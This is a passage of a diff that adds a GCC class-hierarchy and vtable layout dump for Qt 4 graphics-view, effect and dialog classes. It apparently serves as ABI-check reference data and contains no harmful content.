+ primary-for QGraphicsSceneEvent (0xb1fc0740)
+
+Vtable for QGraphicsSceneHoverEvent
+QGraphicsSceneHoverEvent::_ZTV24QGraphicsSceneHoverEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QGraphicsSceneHoverEvent)
+8 QGraphicsSceneHoverEvent::~QGraphicsSceneHoverEvent
+12 QGraphicsSceneHoverEvent::~QGraphicsSceneHoverEvent
+
+Class QGraphicsSceneHoverEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneHoverEvent (0xb1fc0840) 0
+ vptr=((& QGraphicsSceneHoverEvent::_ZTV24QGraphicsSceneHoverEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc0880) 0
+ primary-for QGraphicsSceneHoverEvent (0xb1fc0840)
+ QEvent (0xb1fbed5c) 0
+ primary-for QGraphicsSceneEvent (0xb1fc0880)
+
+Vtable for QGraphicsSceneHelpEvent
+QGraphicsSceneHelpEvent::_ZTV23QGraphicsSceneHelpEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QGraphicsSceneHelpEvent)
+8 QGraphicsSceneHelpEvent::~QGraphicsSceneHelpEvent
+12 QGraphicsSceneHelpEvent::~QGraphicsSceneHelpEvent
+
+Class QGraphicsSceneHelpEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneHelpEvent (0xb1fc0980) 0
+ vptr=((& QGraphicsSceneHelpEvent::_ZTV23QGraphicsSceneHelpEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc09c0) 0
+ primary-for QGraphicsSceneHelpEvent (0xb1fc0980)
+ QEvent (0xb1fbee88) 0
+ primary-for QGraphicsSceneEvent (0xb1fc09c0)
+
+Vtable for QGraphicsSceneDragDropEvent
+QGraphicsSceneDragDropEvent::_ZTV27QGraphicsSceneDragDropEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QGraphicsSceneDragDropEvent)
+8 QGraphicsSceneDragDropEvent::~QGraphicsSceneDragDropEvent
+12 QGraphicsSceneDragDropEvent::~QGraphicsSceneDragDropEvent
+
+Class QGraphicsSceneDragDropEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneDragDropEvent (0xb1fc0ac0) 0
+ vptr=((& QGraphicsSceneDragDropEvent::_ZTV27QGraphicsSceneDragDropEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc0b00) 0
+ primary-for QGraphicsSceneDragDropEvent (0xb1fc0ac0)
+ QEvent (0xb1fbefb4) 0
+ primary-for QGraphicsSceneEvent (0xb1fc0b00)
+
+Vtable for QGraphicsSceneResizeEvent
+QGraphicsSceneResizeEvent::_ZTV25QGraphicsSceneResizeEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QGraphicsSceneResizeEvent)
+8 QGraphicsSceneResizeEvent::~QGraphicsSceneResizeEvent
+12 QGraphicsSceneResizeEvent::~QGraphicsSceneResizeEvent
+
+Class QGraphicsSceneResizeEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneResizeEvent (0xb1fc0c00) 0
+ vptr=((& QGraphicsSceneResizeEvent::_ZTV25QGraphicsSceneResizeEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc0c40) 0
+ primary-for QGraphicsSceneResizeEvent (0xb1fc0c00)
+ QEvent (0xb1e190f0) 0
+ primary-for QGraphicsSceneEvent (0xb1fc0c40)
+
+Vtable for QGraphicsSceneMoveEvent
+QGraphicsSceneMoveEvent::_ZTV23QGraphicsSceneMoveEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QGraphicsSceneMoveEvent)
+8 QGraphicsSceneMoveEvent::~QGraphicsSceneMoveEvent
+12 QGraphicsSceneMoveEvent::~QGraphicsSceneMoveEvent
+
+Class QGraphicsSceneMoveEvent
+ size=16 align=4
+ base size=16 base align=4
+QGraphicsSceneMoveEvent (0xb1fc0d40) 0
+ vptr=((& QGraphicsSceneMoveEvent::_ZTV23QGraphicsSceneMoveEvent) + 8u)
+ QGraphicsSceneEvent (0xb1fc0d80) 0
+ primary-for QGraphicsSceneMoveEvent (0xb1fc0d40)
+ QEvent (0xb1e1921c) 0
+ primary-for QGraphicsSceneEvent (0xb1fc0d80)
+
+Vtable for QGraphicsTransform
+QGraphicsTransform::_ZTV18QGraphicsTransform: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QGraphicsTransform)
+8 QGraphicsTransform::metaObject
+12 QGraphicsTransform::qt_metacast
+16 QGraphicsTransform::qt_metacall
+20 QGraphicsTransform::~QGraphicsTransform
+24 QGraphicsTransform::~QGraphicsTransform
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+
+Class QGraphicsTransform
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsTransform (0xb1fc0e80) 0
+ vptr=((& QGraphicsTransform::_ZTV18QGraphicsTransform) + 8u)
+ QObject (0xb1e19348) 0
+ primary-for QGraphicsTransform (0xb1fc0e80)
+
+Vtable for QGraphicsScale
+QGraphicsScale::_ZTV14QGraphicsScale: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QGraphicsScale)
+8 QGraphicsScale::metaObject
+12 QGraphicsScale::qt_metacast
+16 QGraphicsScale::qt_metacall
+20 QGraphicsScale::~QGraphicsScale
+24 QGraphicsScale::~QGraphicsScale
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsScale::applyTo
+
+Class QGraphicsScale
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsScale (0xb1e2b140) 0
+ vptr=((& QGraphicsScale::_ZTV14QGraphicsScale) + 8u)
+ QGraphicsTransform (0xb1e2b180) 0
+ primary-for QGraphicsScale (0xb1e2b140)
+ QObject (0xb1e19564) 0
+ primary-for QGraphicsTransform (0xb1e2b180)
+
+Vtable for QGraphicsRotation
+QGraphicsRotation::_ZTV17QGraphicsRotation: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QGraphicsRotation)
+8 QGraphicsRotation::metaObject
+12 QGraphicsRotation::qt_metacast
+16 QGraphicsRotation::qt_metacall
+20 QGraphicsRotation::~QGraphicsRotation
+24 QGraphicsRotation::~QGraphicsRotation
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsRotation::applyTo
+
+Class QGraphicsRotation
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsRotation (0xb1e2b440) 0
+ vptr=((& QGraphicsRotation::_ZTV17QGraphicsRotation) + 8u)
+ QGraphicsTransform (0xb1e2b480) 0
+ primary-for QGraphicsRotation (0xb1e2b440)
+ QObject (0xb1e19780) 0
+ primary-for QGraphicsTransform (0xb1e2b480)
+
+Vtable for QGraphicsView
+QGraphicsView::_ZTV13QGraphicsView: 68u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QGraphicsView)
+8 QGraphicsView::metaObject
+12 QGraphicsView::qt_metacast
+16 QGraphicsView::qt_metacall
+20 QGraphicsView::~QGraphicsView
+24 QGraphicsView::~QGraphicsView
+28 QGraphicsView::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QGraphicsView::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QGraphicsView::mousePressEvent
+84 QGraphicsView::mouseReleaseEvent
+88 QGraphicsView::mouseDoubleClickEvent
+92 QGraphicsView::mouseMoveEvent
+96 QGraphicsView::wheelEvent
+100 QGraphicsView::keyPressEvent
+104 QGraphicsView::keyReleaseEvent
+108 QGraphicsView::focusInEvent
+112 QGraphicsView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QGraphicsView::paintEvent
+128 QWidget::moveEvent
+132 QGraphicsView::resizeEvent
+136 QWidget::closeEvent
+140 QGraphicsView::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QGraphicsView::dragEnterEvent
+156 QGraphicsView::dragMoveEvent
+160 QGraphicsView::dragLeaveEvent
+164 QGraphicsView::dropEvent
+168 QGraphicsView::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QGraphicsView::inputMethodEvent
+192 QGraphicsView::inputMethodQuery
+196 QGraphicsView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QGraphicsView::viewportEvent
+228 QGraphicsView::scrollContentsBy
+232 QGraphicsView::drawBackground
+236 QGraphicsView::drawForeground
+240 QGraphicsView::drawItems
+244 (int (*)(...))-0x000000008
+248 (int (*)(...))(& _ZTI13QGraphicsView)
+252 QGraphicsView::_ZThn8_N13QGraphicsViewD1Ev
+256 QGraphicsView::_ZThn8_N13QGraphicsViewD0Ev
+260 QWidget::_ZThn8_NK7QWidget7devTypeEv
+264 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+268 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QGraphicsView
+ size=20 align=4
+ base size=20 base align=4
+QGraphicsView (0xb1e2b740) 0
+ vptr=((& QGraphicsView::_ZTV13QGraphicsView) + 8u)
+ QAbstractScrollArea (0xb1e2b780) 0
+ primary-for QGraphicsView (0xb1e2b740)
+ QFrame (0xb1e2b7c0) 0
+ primary-for QAbstractScrollArea (0xb1e2b780)
+ QWidget (0xb1e41910) 0
+ primary-for QFrame (0xb1e2b7c0)
+ QObject (0xb1e1999c) 0
+ primary-for QWidget (0xb1e41910)
+ QPaintDevice (0xb1e199d8) 8
+ vptr=((& QGraphicsView::_ZTV13QGraphicsView) + 252u)
+
+Class QVFbHeader
+ size=1084 align=4
+ base size=1084 base align=4
+QVFbHeader (0xb1ec6348) 0
+
+Class QVFbKeyData
+ size=12 align=4
+ base size=12 base align=4
+QVFbKeyData (0xb1ec6384) 0
+
+Vtable for QWSEmbedWidget
+QWSEmbedWidget::_ZTV14QWSEmbedWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QWSEmbedWidget)
+8 QWSEmbedWidget::metaObject
+12 QWSEmbedWidget::qt_metacast
+16 QWSEmbedWidget::qt_metacall
+20 QWSEmbedWidget::~QWSEmbedWidget
+24 QWSEmbedWidget::~QWSEmbedWidget
+28 QWidget::event
+32 QWSEmbedWidget::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWSEmbedWidget::moveEvent
+132 QWSEmbedWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWSEmbedWidget::showEvent
+172 QWSEmbedWidget::hideEvent
+176 QWidget::x11Event
+180 QWSEmbedWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI14QWSEmbedWidget)
+232 QWSEmbedWidget::_ZThn8_N14QWSEmbedWidgetD1Ev
+236 QWSEmbedWidget::_ZThn8_N14QWSEmbedWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QWSEmbedWidget
+ size=20 align=4
+ base size=20 base align=4
+QWSEmbedWidget (0xb1ecc080) 0
+ vptr=((& QWSEmbedWidget::_ZTV14QWSEmbedWidget) + 8u)
+ QWidget (0xb1ec7e10) 0
+ primary-for QWSEmbedWidget (0xb1ecc080)
+ QObject (0xb1ec63c0) 0
+ primary-for QWidget (0xb1ec7e10)
+ QPaintDevice (0xb1ec63fc) 8
+ vptr=((& QWSEmbedWidget::_ZTV14QWSEmbedWidget) + 232u)
+
+Vtable for QGraphicsEffect
+QGraphicsEffect::_ZTV15QGraphicsEffect: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QGraphicsEffect)
+8 QGraphicsEffect::metaObject
+12 QGraphicsEffect::qt_metacast
+16 QGraphicsEffect::qt_metacall
+20 QGraphicsEffect::~QGraphicsEffect
+24 QGraphicsEffect::~QGraphicsEffect
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsEffect::boundingRectFor
+60 __cxa_pure_virtual
+64 QGraphicsEffect::sourceChanged
+
+Class QGraphicsEffect
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsEffect (0xb1ecc380) 0
+ vptr=((& QGraphicsEffect::_ZTV15QGraphicsEffect) + 8u)
+ QObject (0xb1ec6618) 0
+ primary-for QGraphicsEffect (0xb1ecc380)
+
+Vtable for QGraphicsColorizeEffect
+QGraphicsColorizeEffect::_ZTV23QGraphicsColorizeEffect: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QGraphicsColorizeEffect)
+8 QGraphicsColorizeEffect::metaObject
+12 QGraphicsColorizeEffect::qt_metacast
+16 QGraphicsColorizeEffect::qt_metacall
+20 QGraphicsColorizeEffect::~QGraphicsColorizeEffect
+24 QGraphicsColorizeEffect::~QGraphicsColorizeEffect
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsEffect::boundingRectFor
+60 QGraphicsColorizeEffect::draw
+64 QGraphicsEffect::sourceChanged
+
+Class QGraphicsColorizeEffect
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsColorizeEffect (0xb1ecc780) 0
+ vptr=((& QGraphicsColorizeEffect::_ZTV23QGraphicsColorizeEffect) + 8u)
+ QGraphicsEffect (0xb1ecc7c0) 0
+ primary-for QGraphicsColorizeEffect (0xb1ecc780)
+ QObject (0xb1ec6960) 0
+ primary-for QGraphicsEffect (0xb1ecc7c0)
+
+Vtable for QGraphicsBlurEffect
+QGraphicsBlurEffect::_ZTV19QGraphicsBlurEffect: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QGraphicsBlurEffect)
+8 QGraphicsBlurEffect::metaObject
+12 QGraphicsBlurEffect::qt_metacast
+16 QGraphicsBlurEffect::qt_metacall
+20 QGraphicsBlurEffect::~QGraphicsBlurEffect
+24 QGraphicsBlurEffect::~QGraphicsBlurEffect
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsBlurEffect::boundingRectFor
+60 QGraphicsBlurEffect::draw
+64 QGraphicsEffect::sourceChanged
+
+Class QGraphicsBlurEffect
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsBlurEffect (0xb1ecca80) 0
+ vptr=((& QGraphicsBlurEffect::_ZTV19QGraphicsBlurEffect) + 8u)
+ QGraphicsEffect (0xb1eccac0) 0
+ primary-for QGraphicsBlurEffect (0xb1ecca80)
+ QObject (0xb1ec6b7c) 0
+ primary-for QGraphicsEffect (0xb1eccac0)
+
+Vtable for QGraphicsDropShadowEffect
+QGraphicsDropShadowEffect::_ZTV25QGraphicsDropShadowEffect: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI25QGraphicsDropShadowEffect)
+8 QGraphicsDropShadowEffect::metaObject
+12 QGraphicsDropShadowEffect::qt_metacast
+16 QGraphicsDropShadowEffect::qt_metacall
+20 QGraphicsDropShadowEffect::~QGraphicsDropShadowEffect
+24 QGraphicsDropShadowEffect::~QGraphicsDropShadowEffect
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsDropShadowEffect::boundingRectFor
+60 QGraphicsDropShadowEffect::draw
+64 QGraphicsEffect::sourceChanged
+
+Class QGraphicsDropShadowEffect
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsDropShadowEffect (0xb1eccec0) 0
+ vptr=((& QGraphicsDropShadowEffect::_ZTV25QGraphicsDropShadowEffect) + 8u)
+ QGraphicsEffect (0xb1eccf00) 0
+ primary-for QGraphicsDropShadowEffect (0xb1eccec0)
+ QObject (0xb1ec6e88) 0
+ primary-for QGraphicsEffect (0xb1eccf00)
+
+Vtable for QGraphicsOpacityEffect
+QGraphicsOpacityEffect::_ZTV22QGraphicsOpacityEffect: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QGraphicsOpacityEffect)
+8 QGraphicsOpacityEffect::metaObject
+12 QGraphicsOpacityEffect::qt_metacast
+16 QGraphicsOpacityEffect::qt_metacall
+20 QGraphicsOpacityEffect::~QGraphicsOpacityEffect
+24 QGraphicsOpacityEffect::~QGraphicsOpacityEffect
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QGraphicsEffect::boundingRectFor
+60 QGraphicsOpacityEffect::draw
+64 QGraphicsEffect::sourceChanged
+
+Class QGraphicsOpacityEffect
+ size=8 align=4
+ base size=8 base align=4
+QGraphicsOpacityEffect (0xb1d1f340) 0
+ vptr=((& QGraphicsOpacityEffect::_ZTV22QGraphicsOpacityEffect) + 8u)
+ QGraphicsEffect (0xb1d1f380) 0
+ primary-for QGraphicsOpacityEffect (0xb1d1f340)
+ QObject (0xb1d2612c) 0
+ primary-for QGraphicsEffect (0xb1d1f380)
+
+Vtable for QAbstractPageSetupDialog
+QAbstractPageSetupDialog::_ZTV24QAbstractPageSetupDialog: 67u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI24QAbstractPageSetupDialog)
+8 QAbstractPageSetupDialog::metaObject
+12 QAbstractPageSetupDialog::qt_metacast
+16 QAbstractPageSetupDialog::qt_metacall
+20 QAbstractPageSetupDialog::~QAbstractPageSetupDialog
+24 QAbstractPageSetupDialog::~QAbstractPageSetupDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractPageSetupDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 __cxa_pure_virtual
+240 (int (*)(...))-0x000000008
+244 (int (*)(...))(& _ZTI24QAbstractPageSetupDialog)
+248 QAbstractPageSetupDialog::_ZThn8_N24QAbstractPageSetupDialogD1Ev
+252 QAbstractPageSetupDialog::_ZThn8_N24QAbstractPageSetupDialogD0Ev
+256 QWidget::_ZThn8_NK7QWidget7devTypeEv
+260 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+264 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractPageSetupDialog
+ size=20 align=4
+ base size=20 base align=4
+QAbstractPageSetupDialog (0xb1d1f640) 0
+ vptr=((& QAbstractPageSetupDialog::_ZTV24QAbstractPageSetupDialog) + 8u)
+ QDialog (0xb1d1f680) 0
+ primary-for QAbstractPageSetupDialog (0xb1d1f640)
+ QWidget (0xb1d34050) 0
+ primary-for QDialog (0xb1d1f680)
+ QObject (0xb1d26348) 0
+ primary-for QWidget (0xb1d34050)
+ QPaintDevice (0xb1d26384) 8
+ vptr=((& QAbstractPageSetupDialog::_ZTV24QAbstractPageSetupDialog) + 248u)
+
+Vtable for QAbstractPrintDialog
+QAbstractPrintDialog::_ZTV20QAbstractPrintDialog: 67u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QAbstractPrintDialog)
+8 QAbstractPrintDialog::metaObject
+12 QAbstractPrintDialog::qt_metacast
+16 QAbstractPrintDialog::qt_metacall
+20 QAbstractPrintDialog::~QAbstractPrintDialog
+24 QAbstractPrintDialog::~QAbstractPrintDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 __cxa_pure_virtual
+240 (int (*)(...))-0x000000008
+244 (int (*)(...))(& _ZTI20QAbstractPrintDialog)
+248 QAbstractPrintDialog::_ZThn8_N20QAbstractPrintDialogD1Ev
+252 QAbstractPrintDialog::_ZThn8_N20QAbstractPrintDialogD0Ev
+256 QWidget::_ZThn8_NK7QWidget7devTypeEv
+260 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+264 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QAbstractPrintDialog
+ size=20 align=4
+ base size=20 base align=4
+QAbstractPrintDialog (0xb1d1f940) 0
+ vptr=((& QAbstractPrintDialog::_ZTV20QAbstractPrintDialog) + 8u)
+ QDialog (0xb1d1f980) 0
+ primary-for QAbstractPrintDialog (0xb1d1f940)
+ QWidget (0xb1d387d0) 0
+ primary-for QDialog (0xb1d1f980)
+ QObject (0xb1d265a0) 0
+ primary-for QWidget (0xb1d387d0)
+ QPaintDevice (0xb1d265dc) 8
+ vptr=((& QAbstractPrintDialog::_ZTV20QAbstractPrintDialog) + 248u)
+
+Vtable for QColorDialog
+QColorDialog::_ZTV12QColorDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QColorDialog)
+8 QColorDialog::metaObject
+12 QColorDialog::qt_metacast
+16 QColorDialog::qt_metacall
+20 QColorDialog::~QColorDialog
+24 QColorDialog::~QColorDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QColorDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QColorDialog::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QColorDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI12QColorDialog)
+244 QColorDialog::_ZThn8_N12QColorDialogD1Ev
+248 QColorDialog::_ZThn8_N12QColorDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QColorDialog
+ size=20 align=4
+ base size=20 base align=4
+QColorDialog (0xb1d1fd80) 0
+ vptr=((& QColorDialog::_ZTV12QColorDialog) + 8u)
+ QDialog (0xb1d1fdc0) 0
+ primary-for QColorDialog (0xb1d1fd80)
+ QWidget (0xb1d6e370) 0
+ primary-for QDialog (0xb1d1fdc0)
+ QObject (0xb1d268e8) 0
+ primary-for QWidget (0xb1d6e370)
+ QPaintDevice (0xb1d26924) 8
+ vptr=((& QColorDialog::_ZTV12QColorDialog) + 244u)
+
+Vtable for QErrorMessage
+QErrorMessage::_ZTV13QErrorMessage: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QErrorMessage)
+8 QErrorMessage::metaObject
+12 QErrorMessage::qt_metacast
+16 QErrorMessage::qt_metacall
+20 QErrorMessage::~QErrorMessage
+24 QErrorMessage::~QErrorMessage
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
